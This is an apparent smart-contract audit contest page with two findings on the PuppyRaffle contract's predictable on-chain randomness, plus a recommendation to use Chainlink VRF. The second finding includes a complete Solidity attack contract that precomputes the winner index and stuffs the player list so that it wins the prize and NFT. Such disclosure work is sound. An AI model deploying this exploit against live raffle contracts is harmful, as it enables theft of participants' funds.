Normal behavior: The raffle is expected to select a winner and assign an NFT rarity using a random and unbiased process once the raffle duration has elapsed. Any participant should have an equal chance of winning, and NFT rarity should be distributed according to the intended probability weights (common, rare, legendary).
Issue: The randomness used for both winner selection and NFT rarity generation is derived from attacker-influenced inputs, most notably msg.sender, combined with publicly observable block parameters (block.timestamp and block.difficulty). Since msg.sender is fully controlled by the caller of selectWinner(), an attacker can repeatedly vary the calling address (e.g., via multiple contracts or CREATE2) and invoke selectWinner() only when the computed outcome is favorable.
This allows an attacker to deterministically bias the raffle outcome by selecting a caller address that results in a desired winnerIndex and/or NFT rarity. As demonstrated in the proof of concept, both the raffle winner and the NFT rarity can be manipulated by grinding over possible caller addresses, breaking the fairness and unpredictability guarantees of the protocol.
Likelihood:
Once the raffle duration elapses, any user can call selectWinner(), and the outcome is directly influenced by the caller-controlled input msg.sender, making the attack reachable through normal interaction with the protocol.
An attacker can cheaply generate many distinct caller addresses (e.g., by deploying multiple contracts or using CREATE2) and repeatedly attempt or delay calling selectWinner() until a favorable winner index and/or rarity outcome is produced.
Impact:
The attacker can bias or effectively force winner selection by choosing a caller address that maps the computed winnerIndex to an attacker-controlled entry in players, breaking the fairness of the raffle and enabling direct value extraction from the prize pool.
The attacker can grind NFT rarity outcomes (e.g., increase the probability of minting LEGENDARY_RARITY) by selecting favorable caller addresses, undermining the intended rarity distribution and potentially extracting additional value from the NFT mint.
The PoC demonstrates that, for fixed block parameters, varying only the caller address (msg.sender) changes both winnerIndex and the computed rarity. By grinding over possible caller addresses, an attacker can select a caller that deterministically results in an attacker-controlled winner and a legendary rarity mint in the same transaction, breaking raffle fairness and rarity guarantees.
Replace the on-chain pseudo-randomness (msg.sender, block.timestamp, block.difficulty) with verifiable randomness from Chainlink VRF. This removes caller-controlled bias and ensures winner selection and rarity assignment cannot be manipulated by grinding over caller addresses or transaction ordering.
A robust approach is:
When the raffle ends, request a VRF random value (requestRandomWords).
Finalize the raffle only inside fulfillRandomWords, using the VRF-provided random word to derive:
winnerIndex
rarity
Prevent multiple finalizations with a state machine (e.g., OPEN → CALCULATING → OPEN).
Note: Using VRF v2 typically requires upgrading to Solidity
^0.8.xand importingVRFConsumerBaseV2.
Contract must be funded via a Chainlink VRF subscription and configured with coordinator address, keyHash, subscriptionId, and callbackGasLimit for the target network.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.